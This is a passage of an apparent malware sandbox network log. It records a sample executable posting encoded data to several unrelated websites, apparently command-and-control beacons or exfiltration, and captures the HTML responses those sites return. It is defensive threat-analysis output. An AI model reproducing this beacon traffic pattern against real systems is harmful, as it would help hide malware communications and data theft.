Oct 25, 2024 11:17:43.093213081 CEST	1236	IN	Data Raw: 37 66 66 61 0d 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 66 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 Data Ascii: 7ffa<!doctype html><html class="no-js" lang="fr"><head> ... Google Tag Manager --> <script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
Oct 25, 2024 11:17:43.093319893 CEST	1236	IN	Data Raw: 27 72 65 70 6c 61 63 65 20 77 69 74 68 20 76 61 6c 75 65 27 2c 0a 20 20 20 20 27 69 74 65 6d 73 27 3a 20 5b 7b 0a 20 20 20 20 20 20 27 69 64 27 3a 20 27 72 65 70 6c 61 63 65 20 77 69 74 68 20 76 61 6c 75 65 27 2c 0a 20 20 20 20 20 20 27 6c 6f 63 Data Ascii: 'replace with value', 'items': [{ 'id': 'replace with value', 'location_id': 'replace with value', 'google_business_vertical': 'real_estate' }, { 'id': 'replace with value', 'google_business_vertical': 're
Oct 25, 2024 11:17:43.093332052 CEST	1236	IN	Data Raw: 6b 69 65 73 20 73 74 72 69 63 74 65 6d 65 6e 74 20 72 65 71 75 69 73 22 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 69 73 65 6e 73 65 5f 67 64 70 72 5f 73 74 72 69 63 74 5f 63 6f 6f 6b 69 65 73 5f 74 65 78 74 20 3d 20 22 43 65 73 20 63 6f Data Ascii: kies strictement requis"; window.isense_gdpr_strict_cookies_text = "Ces cookies sont ncessaires au fonctionnement du site web et ne peuvent pas tre dsactivs. Ces cookies ne sont dfinis quen rponse des actions que vous
Oct 25, 2024 11:17:43.093343019 CEST	636	IN	Data Raw: 70 65 72 74 69 6e 65 6e 74 65 73 2e 20 53 69 20 76 6f 75 73 20 6e e2 80 99 61 75 74 6f 72 69 73 65 7a 20 70 61 73 20 63 65 73 20 63 6f 6f 6b 69 65 73 2c 20 76 6f 75 73 20 6e 65 20 76 65 72 72 65 7a 20 70 61 73 20 64 65 20 70 75 62 6c 69 63 69 74 Data Ascii: pertinentes. Si vous nautorisez pas ces cookies, vous ne verrez pas de publicits cibles pour vos centres dintrt."; window.isense_gdpr_functionality_cookies_checkbox = "Cookies Fonctionnels"; window.isense_gdpr_fu
Oct 25, 2024 11:17:43.093560934 CEST	1236	IN	Data Raw: 77 69 6e 64 6f 77 2e 69 73 65 6e 73 65 5f 67 64 70 72 5f 70 6f 70 75 70 5f 68 65 61 64 65 72 20 3d 20 22 43 68 6f 69 73 69 73 73 65 7a 20 6c 65 20 74 79 70 65 20 64 65 20 63 6f 6f 6b 69 65 73 20 71 75 65 20 76 6f 75 73 20 61 63 63 65 70 74 65 7a Data Ascii: window.isense_gdpr_popup_header = "Choisissez le type de cookies que vous acceptez dutiliser"; window.isense_gdpr_popup_description = "Vous pouvez contrler l'utilisation de vos donnes sur notre site web. Dcouvrez ci-
Oct 25, 2024 11:17:43.093573093 CEST	1236	IN	Data Raw: 74 20 67 c3 a9 6e c3 a9 72 61 6c 65 6d 65 6e 74 20 66 6f 75 72 6e 69 20 70 61 72 20 53 68 6f 70 69 66 79 20 65 74 20 65 73 74 20 75 74 69 6c 69 73 c3 a9 20 64 61 6e 73 20 6c 65 20 63 61 64 72 65 20 64 65 20 6c 27 61 63 63 c3 a8 73 20 c3 a0 20 6c Data Ascii: t gnralement fourni par Shopify et est utilis dans le cadre de l'accs la vue d'administration d'une plateforme de boutique en ligne."; window.isense_gdpr_cookie__orig_referrer = "Ce cookie est gnralement fourni par Shopi
Oct 25, 2024 11:17:43.098558903 CEST	1236	IN	Data Raw: 64 27 61 63 68 61 74 2e 22 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 69 73 65 6e 73 65 5f 67 64 70 72 5f 63 6f 6f 6b 69 65 5f 63 61 72 74 5f 73 69 67 20 3d 20 22 43 65 20 63 6f 6f 6b 69 65 20 65 73 74 20 67 c3 a9 6e c3 a9 72 61 6c 65 6d Data Ascii: d'achat."; window.isense_gdpr_cookie_cart_sig = "Ce cookie est gnralement fourni par Shopify et est utilis dans le cadre du paiement. Il est utilis pour vrifier l'intgrit du chariot et pour assurer la performance de certa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	52654	217.79.184.35	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:42.254298925 CEST	800	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.tyrns.com Cache-Control: no-cache Data Raw: 66 45 61 6a 6b 6d 4c 4f 54 2f 7a 74 55 41 35 63 31 58 70 4a 41 4f 57 64 6d 6e 6e 79 67 55 47 69 74 67 4b 35 6c 65 78 65 76 79 33 54 7a 53 4f 63 77 39 4f 65 76 2f 4c 33 44 6a 4e 57 55 49 63 4b 75 52 41 6e 2f 37 73 2f 48 6b 54 42 48 74 46 4a 6c 36 78 55 33 54 78 4f 61 6b 72 36 76 76 61 7a 62 38 63 68 7a 65 64 38 32 71 37 55 77 56 56 2f 49 70 69 58 57 5a 6d 35 32 45 46 59 5a 71 52 6c 4c 6f 4c 58 4a 4c 4b 6c 55 76 53 4f 38 50 73 6d 4a 45 38 63 58 56 44 39 6c 50 72 74 54 6d 32 38 6a 68 4c 58 53 63 30 71 53 61 5a 2b 43 38 76 6d 47 61 37 65 75 77 41 61 36 61 33 4c 74 6d 72 53 30 6f 4a 78 66 33 55 72 47 34 66 4a 54 6c 6b 71 6f 7a 59 69 4f 35 6d 6e 4d 32 6b 77 79 48 32 4a 61 6a 62 6a 62 6b 33 6e 6b 77 52 59 55 41 56 6b 6b 64 31 58 45 4b 36 77 6d 62 6f 6d 51 77 6b 71 6b 32 73 30 2b 47 58 6c 39 31 4f 6d 55 35 6c 69 6c 4a 4e 2b 74 52 43 6b 58 4d 78 69 6b 69 61 4e 4d 39 32 4d 2f 65 4c 71 4e 44 33 38 73 67 45 61 69 42 68 52 2b 4d 50 42 39 67 54 4a 62 62 4d 6a 34 6d 36 66 49 6c 45 39 45 4a 30 7a 74 48 32 58 42 45 [TRUNCATED] Data Ascii: fEajkmLOT/ztUA5c1XpJAOWdmnnygUGitgK5lexevy3TzSOcw9Oev/L3DjNWUIcKuRAn/7s/HkTBHtFJl6xU3TxOakr6vvazb8chzed82q7UwVV/IpiXWZm52EFYZqRlLoLXJLKlUvSO8PsmJE8cXVD9lPrtTm28jhLXSc0qSaZ+C8vmGa7euwAa6a3LtmrS0oJxf3UrG4fJTlkqozYiO5mnM2kwyH2Jajbjbk3nkwRYUAVkkd1XEK6wmbomQwkqk2s0+GXl91OmU5lilJN+tRCkXMxikiaNM92M/eLqND38sgEaiBhR+MPB9gTJbbMj4m6fIlE9EJ0ztH2XBE9oLZS+zXdpWmIGyTEAAdYrD+96fCqZK8KFYunr+IIcay02/vjnXktGrmfGCpWbTYMETgrne/YsspmRjum8nDaDkBRP+HP21pz6HvDxvrgWL7wdXzog4G0DOGlt9eKabfxSFEs9a1gV+LsOW6dWC6LF95xdimQVSmJaa9Ltv0B1bsyYDuTRMhP7JXzb4+84N3z/nrkmq196f7XmpmPLTAYJSVWtlsduWnEjhOaV
Oct 25, 2024 11:17:43.150245905 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 25 Oct 2024 09:15:11 GMT Content-Type: text/html Content-Length: 234963 Connection: keep-alive Cache-Control: private Set-Cookie: ASP.NET_SessionId=0153b055u40lc355cjm3hg55; path=/; HttpOnly X-Real-IP: 173.254.250.81 Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 3c 74 69 74 6c 65 3e 44 69 70 6c 65 78 20 44 69 73 74 72 69 62 75 74 69 6f 6e 20 61 6e 64 20 4d 61 72 6b 65 74 69 6e 67 20 53 65 72 76 69 63 65 73 20 7c 20 44 69 70 6c 65 78 20 3f 20 44 69 73 74 72 69 62 75 74 69 6f 6e 20 26 61 6d 70 3b 20 4d 61 72 6b 65 74 69 6e 67 20 53 65 72 76 69 63 65 73 3c 2f 74 69 74 6c 65 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 64 69 70 6c 65 78 2e 69 6e 66 6f 2f 78 6d 6c 72 70 63 2e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US"><head><title>Diplex Distribution and Marketing Services \| Diplex ? Distribution & Marketing Services</title><link rel="pingback" href="http://diplex.info/xmlrpc.php" /><meta http-equiv="Content-Type" content="text/html;charset=UTF-8" /><meta name="viewport" content="width=1024" /><link rel="stylesheet" href="http://diplex.info/wp-content/themes/diplex-1.0/style.css" />...[if lte IE 8]><link href="http://diplex.info/wp-content/themes/diplex-1.0/style-ie8.css" rel="stylesheet" type="text/css" /><![endif]-->...[if lte IE 7]><link href="http://diplex.info/wp-content/themes/diplex-1.0/style-ie7.css" rel="stylesheet" type="text/css" /><![endif]-->...[if lte IE 6]> <link href="http://diplex.info/wp-content/themes/diplex-1.0/style-ie6.css" rel="stylesheet" type="text/
Oct 25, 2024 11:17:43.150259018 CEST	1236	IN	Data Raw: 63 73 73 22 20 2f 3e 0a 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 64 69 70 6c 65 78 2e 69 6e 66 6f 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f Data Ascii: css" /> <script type="text/javascript" src="http://diplex.info/wp-content/themes/diplex-1.0/javascript/DD_belatedPNG_0.0.8a-min.js"></script> <script type="text/javascript">DD_belatedPNG.fix('.png-fix,#header-nav a');</script><![endif]-->
Oct 25, 2024 11:17:43.150269032 CEST	1236	IN	Data Raw: 78 3b 0a 09 09 09 7d 0a 09 09 3c 2f 73 74 79 6c 65 3e 0a 09 09 0a 3c 21 2d 2d 20 41 6c 6c 20 69 6e 20 4f 6e 65 20 53 45 4f 20 50 61 63 6b 20 32 2e 30 20 62 79 20 4d 69 63 68 61 65 6c 20 54 6f 72 62 65 72 74 20 6f 66 20 53 65 6d 70 65 72 20 46 69 Data Ascii: x;}</style>... All in One SEO Pack 2.0 by Michael Torbert of Semper Fi Web Design[177,281] --><link rel="canonical" href="http://diplex.info/" />... /all in one seo pack --></head><body class="home page page-id-2 page-templa
Oct 25, 2024 11:17:43.150327921 CEST	427	IN	Data Raw: 45 47 49 4e 20 2a 2a 2a 20 2d 2d 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 73 70 6f 74 6c 69 67 68 74 22 3e 0a 0a 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 73 70 6f 74 6c 69 67 68 74 2d 69 6e 6e 65 72 22 3e 0a 0a 20 20 20 20 20 20 3c 69 6d 67 Data Ascii: EGIN *** --> <div id="spotlight"> <div id="spotlight-inner"> <img width="116" height="126" src="http://diplex.info/wp-content/uploads/2011/09/GSC546-HYB3500.jpg" class="attachment-full wp-post-image" alt="GSC546-HYB3500" />
Oct 25, 2024 11:17:43.182117939 CEST	1236	IN	Data Raw: 74 79 20 61 6e 64 20 6c 6f 77 20 69 6e 73 65 72 74 69 6f 6e 20 6c 6f 73 73 2e 3c 2f 70 3e 0a 0a 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 73 70 6f 74 6c 69 67 68 74 2d 61 63 74 69 6f 6e 22 3e 26 62 75 6c 6c 3b 26 62 75 6c 6c 3b 20 3c 61 20 Data Ascii: ty and low insertion loss.</p> <p class="spotlight-action">•• <a href="http://diplex.info/line-card/soshin/asymmetrical-couplers-doherty/">Learn More Now!</a></p> </div> </div>... * SPOTLIGHT END * -->...
Oct 25, 2024 11:17:43.182130098 CEST	1236	IN	Data Raw: 74 49 37 2b 77 78 73 32 45 51 59 6d 64 36 6d 2f 64 6a 36 55 70 76 65 4a 51 72 2b 42 43 78 55 78 35 75 48 2b 39 76 2f 4f 69 6b 45 58 41 50 7a 67 50 4e 52 76 79 52 35 45 2b 34 50 49 56 41 61 2f 7a 51 42 66 69 75 6b 56 71 55 74 6d 6f 76 54 74 43 78 Data Ascii: tI7+wxs2EQYmd6m/dj6UpveJQr+BCxUx5uH+9v/OikEXAPzgPNRvyR5E+4PIVAa/zQBfiukVqUtmovTtCxknU1RXXiVpyMAp2ZYWiA62o4Z/4ocVcoLEdvZU8U4O5xecY90OgRefQleP+HFCY3mDFmPhx3LsbXw6ESI/JvTHpPo250L+etCkfPY+5cK0S2zVkjEYn0LwalZHxkg1JuBIDZadzDexWzkYvxxp7SIQ4R4t2NVyepX
Oct 25, 2024 11:17:43.182142019 CEST	1236	IN	Data Raw: 4d 4f 6e 43 4b 59 48 31 32 37 53 50 52 55 6e 77 71 4f 4a 52 55 67 6f 32 69 46 71 38 72 49 76 45 43 4c 30 41 73 38 7a 6c 6c 68 4e 38 4a 33 38 62 41 4f 62 68 35 37 77 2b 74 70 46 72 41 50 47 6c 6a 77 43 47 58 2f 6a 2b 37 52 30 48 75 69 6f 35 44 76 Data Ascii: MOnCKYH127SPRUnwqOJRUgo2iFq8rIvECL0As8zllhN8J38bAObh57w+tpFrAPGljwCGX/j+7R0Huio5DvBjqlQ5cPqJ8dgg41uVEsSXDzNN5SA0CfXex07AfVVJKNs9lctE+i4q9wmOQK7sE7BpXYKqKNxeTmaVvMwO0iKfIcB+JEo6IBw0hMIyebcqpxVR3UB4VLrtJjHhcQJmXNJ+yKE4qweWAEfPKgPuDo2R2dntKzOsurh
Oct 25, 2024 11:17:43.182152987 CEST	1236	IN	Data Raw: 2f 6a 4c 6c 65 6b 47 64 4d 70 6c 33 57 47 64 79 55 34 2b 51 47 6d 33 75 7a 78 6f 68 61 62 34 55 76 65 61 58 47 46 43 57 6b 7a 50 36 63 47 36 48 56 39 46 30 41 32 42 31 30 6d 59 66 67 45 4d 36 39 5a 53 59 45 54 75 2f 4a 66 6e 65 55 57 78 73 79 54 Data Ascii: /jLlekGdMpl3WGdyU4+QGm3uzxohab4UveaXGFCWkzP6cG6HV9F0A2B10mYfgEM69ZSYETu/JfneUWxsyTMpTltaxNTN3jho4Dha9CY/VyYxmNKziMawpWkmmHHRj16yZDxl891Uo0FU8jmk7ggJMBR6f/kSlGk/NamQNFFBhC1Tvfa79ruIKFF8jJbHeY/sPW7IaMSpKVukjJLtmrjqy6J7ZLEqXFADgN7irCOeiQ1u0pCQEY1
Oct 25, 2024 11:17:43.182164907 CEST	1236	IN	Data Raw: 36 4b 4d 6b 79 6a 36 58 39 4b 39 79 65 64 6f 64 58 5a 2b 64 68 4e 32 35 57 58 73 39 4e 74 47 47 4f 2b 52 51 4f 38 33 6c 4b 6b 72 44 34 6a 56 6c 7a 77 56 46 68 62 45 42 73 68 54 61 4b 6f 72 43 70 53 50 41 73 31 75 34 4c 6c 61 63 69 68 47 61 51 61 Data Ascii: 6KMkyj6X9K9yedodXZ+dhN25WXs9NtGGO+RQO83lKkrD4jVlzwVFhbEBshTaKorCpSPAs1u4LlacihGaQaxBza571iweBRRMR4/MsDFLKRGFwz/jdADFysj7b9uuL7GKJivbjb4W0z5X3OJSvjTgUgnp/0RETMeQ2Tv7kYqp374mz6kJmu8CKXJslIQsiJkXf8Hp0zzSwtH1EJOIw4+jDBH1LDtaEeMwqFvU+NLY+wXg+/Hlc6b
Oct 25, 2024 11:17:43.182177067 CEST	1236	IN	Data Raw: 57 55 68 6b 42 49 46 49 66 43 51 54 41 5a 42 2f 63 52 43 7a 50 51 36 6e 31 6d 4b 30 49 39 65 5a 61 45 4a 50 49 6a 53 54 38 48 74 41 6b 4f 6b 66 66 4f 38 66 58 61 35 2b 6c 52 65 78 6d 63 6f 63 7a 42 78 6f 5a 59 6e 44 58 7a 48 61 6e 58 75 68 32 37 Data Ascii: WUhkBIFIfCQTAZB/cRCzPQ6n1mK0I9eZaEJPIjST8HtAkOkffO8fXa5+lRexmcoczBxoZYnDXzHanXuh27uyo/VlT/bRuGmVnpeMjI2u4fQKJ0jcl00B++2LM8689sfO97f8gq4JQh1XA44EaN993ZiCuiPNUs/K8k96PDL+QaEEr8sCeTtXTDwuvFjlmwAl+uiYppxnJ8QvTMqO/xKtf2mxVhxg0kWJ3ZdlLVT35tGVrZoVbE5
Oct 25, 2024 11:17:43.182188988 CEST	1236	IN	Data Raw: 43 4a 4e 6e 30 43 62 4a 79 33 36 4c 58 66 70 71 6b 75 53 72 51 34 53 75 70 46 66 65 49 2b 51 49 32 45 77 64 2f 31 4c 37 77 6f 59 50 4a 6a 53 58 4c 46 6a 55 4b 61 54 41 52 62 56 4d 64 44 5a 35 4f 56 6e 42 66 52 50 65 5a 35 68 7a 69 51 33 54 30 61 Data Ascii: CJNn0CbJy36LXfpqkuSrQ4SupFfeI+QI2Ewd/1L7woYPJjSXLFjUKaTARbVMdDZ5OVnBfRPeZ5hziQ3T0aI6KLMs4lmnWZZkK57BG2Yfk55uBcgqUK4dVlUOpI/z8ChKcQk3oLJvp+C6OHd3Rg07+o/KCwQuwIkcXqRWHViySUzF04/6SP1Fa/OxsGBsHUG4lz4I3qQSSxkXmn9ivlYx5sDcxK7GunTztL5ef+WzjyPDX4SEq1/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	52655	13.248.252.114	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:42.257913113 CEST	802	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.medisa.info Cache-Control: no-cache Data Raw: 68 5a 75 36 37 42 74 72 53 76 78 71 56 76 4e 36 4d 69 57 47 4b 41 53 51 31 6d 32 68 4d 2f 2b 51 66 2f 36 49 53 70 2f 54 4a 6d 32 2f 65 67 38 70 44 69 59 33 45 49 72 70 34 57 6e 49 4e 4b 6b 30 51 6c 31 4f 79 45 6f 6e 58 59 4e 52 70 55 6f 49 53 2b 43 51 4f 6b 2b 6d 30 54 66 6a 4b 63 56 50 6c 2b 44 6b 76 4a 33 74 7a 34 67 2f 4d 7a 6c 39 34 74 70 68 75 43 67 39 34 77 4c 68 47 6b 42 6c 56 74 73 6e 31 47 42 41 4d 69 59 75 44 43 4b 33 49 43 75 69 63 67 66 35 6a 44 4f 4b 53 5a 48 6b 32 69 61 6a 42 6c 4b 36 54 65 71 47 4b 4a 44 39 52 30 79 71 52 4b 71 67 2b 46 52 6e 65 72 6a 57 6a 48 4a 64 75 36 50 35 75 31 79 45 74 6f 32 61 41 65 61 5a 6b 47 35 4a 53 43 64 37 32 4f 71 4d 42 61 4a 59 77 45 35 48 61 78 62 68 6c 32 4a 38 6b 58 64 51 47 46 70 48 72 6a 76 50 6a 78 32 6e 6c 65 38 67 69 48 2f 4e 41 71 43 5a 67 63 41 78 62 2f 77 2f 46 65 35 53 44 69 50 4c 65 6b 66 61 4a 64 4e 55 49 6d 73 75 38 70 36 6a 65 57 4c 31 44 70 35 34 47 75 52 58 6d 63 73 72 63 57 6e 78 32 66 4a 59 6b 58 52 36 77 31 31 54 42 6b 4a 57 33 33 [TRUNCATED] Data Ascii: hZu67BtrSvxqVvN6MiWGKASQ1m2hM/+Qf/6ISp/TJm2/eg8pDiY3EIrp4WnINKk0Ql1OyEonXYNRpUoIS+CQOk+m0TfjKcVPl+DkvJ3tz4g/Mzl94tphuCg94wLhGkBlVtsn1GBAMiYuDCK3ICuicgf5jDOKSZHk2iajBlK6TeqGKJD9R0yqRKqg+FRnerjWjHJdu6P5u1yEto2aAeaZkG5JSCd72OqMBaJYwE5Haxbhl2J8kXdQGFpHrjvPjx2nle8giH/NAqCZgcAxb/w/Fe5SDiPLekfaJdNUImsu8p6jeWL1Dp54GuRXmcsrcWnx2fJYkXR6w11TBkJW33soEGE4DICM2qlvviP9Z7AUMsZok+v0W7c8NlK4/mwpUfjZ0JeBhvgGP0lC+vG+N5LmEgpB0rWbxb+e9l2JTf0dHp3pyQLl1seDzK77E1L307IeomN0AIerFleiAEcuK7bzWiYXhJx+XLsCVJk/vo33x3YMfhZHwrY26PFhK+mKLOETJmuaY1XOY8I4+wmKn0et3gZrddLR7WXhoPRUJSCNO32Ilx7AV9g/gH1k
Oct 25, 2024 11:17:42.972845078 CEST	727	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Fri, 25 Oct 2024 09:17:42 GMT Content-Type: text/html Content-Length: 552 Connection: keep-alive Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	52656	213.186.33.40	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:42.270741940 CEST	806	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ora-ito.com Cache-Control: no-cache Data Raw: 6e 66 46 6b 51 4b 51 69 54 66 79 53 4b 71 6e 62 50 77 30 72 4b 6e 66 31 6a 74 35 63 34 4e 43 71 47 45 70 76 55 4d 78 39 6c 52 4d 76 69 6f 4d 64 42 38 6c 37 65 77 66 64 76 62 4b 47 70 56 55 4c 2b 39 34 49 36 5a 78 45 56 38 54 39 75 6f 5a 77 34 49 66 77 5a 7a 6c 4c 46 32 38 50 30 51 2b 37 4e 58 37 63 59 4b 4f 36 30 43 56 47 37 53 6d 4e 74 67 6d 64 2b 65 74 47 67 71 66 38 6d 2b 49 7a 58 57 2f 76 30 54 53 43 52 71 37 7a 4d 4c 68 7a 78 43 62 64 57 46 57 41 46 36 4b 53 42 2b 31 5a 71 52 44 55 63 35 58 43 50 50 53 59 35 6f 57 46 62 74 2b 2f 70 73 77 56 61 79 72 45 47 6d 43 5a 6c 75 78 63 75 45 57 4b 49 7a 2b 4d 56 51 61 57 65 4b 48 7a 4f 51 42 64 78 55 53 50 78 42 39 35 74 56 4f 77 50 6c 38 2b 43 65 30 34 56 61 6e 59 35 41 43 56 4d 4d 51 6f 4c 56 4e 78 51 78 53 54 41 38 46 2f 63 64 55 4e 59 5a 54 71 2b 54 5a 72 62 38 30 77 43 57 7a 77 51 66 4e 39 30 32 63 69 6c 62 46 6a 6b 2f 64 41 7a 30 49 77 4d 35 4e 44 58 35 5a 45 53 62 36 4e 6e 67 35 64 36 6d 54 62 5a 75 38 4c 2b 75 78 73 53 50 43 4d 74 53 38 51 68 6d [TRUNCATED] Data Ascii: nfFkQKQiTfySKqnbPw0rKnf1jt5c4NCqGEpvUMx9lRMvioMdB8l7ewfdvbKGpVUL+94I6ZxEV8T9uoZw4IfwZzlLF28P0Q+7NX7cYKO60CVG7SmNtgmd+etGgqf8m+IzXW/v0TSCRq7zMLhzxCbdWFWAF6KSB+1ZqRDUc5XCPPSY5oWFbt+/pswVayrEGmCZluxcuEWKIz+MVQaWeKHzOQBdxUSPxB95tVOwPl8+Ce04VanY5ACVMMQoLVNxQxSTA8F/cdUNYZTq+TZrb80wCWzwQfN902cilbFjk/dAz0IwM5NDX5ZESb6Nng5d6mTbZu8L+uxsSPCMtS8QhmSeOuXHUzsr6SJo9QQAbJL1dKxH3rSW2OGRnMK61qp5gZkhJUOnt9FLt9cf9EnebUdGQmj94wBV7K2WHoyUPWl1mOVtChCHBGcgbE3O2xV5sTNVN/5pc2rGwTaf0+n88Q+RxSPKR+zFP9KIaGnAqfHFASCGyIoFpSwGaG7bZgk0n+1B5pZvnQIWHNM3eKBKeGTDrxROtTtwD+bYUyGnkxMZE4+xj7ZqhDqLBQXyJIX3
Oct 25, 2024 11:17:43.133538961 CEST	513	IN	HTTP/1.1 301 Moved Permanently date: Fri, 25 Oct 2024 09:17:43 GMT content-type: text/html; charset=iso-8859-1 content-length: 232 server: Apache location: https://www.ora-ito.com/ x-iplb-request-id: ADFEFA51:AF5F_D5BA2128:0050_671B6236_5D68A:292F x-iplb-instance: 51997 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 72 61 2d 69 74 6f 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.ora-ito.com/">here</a>.</p></body></html>
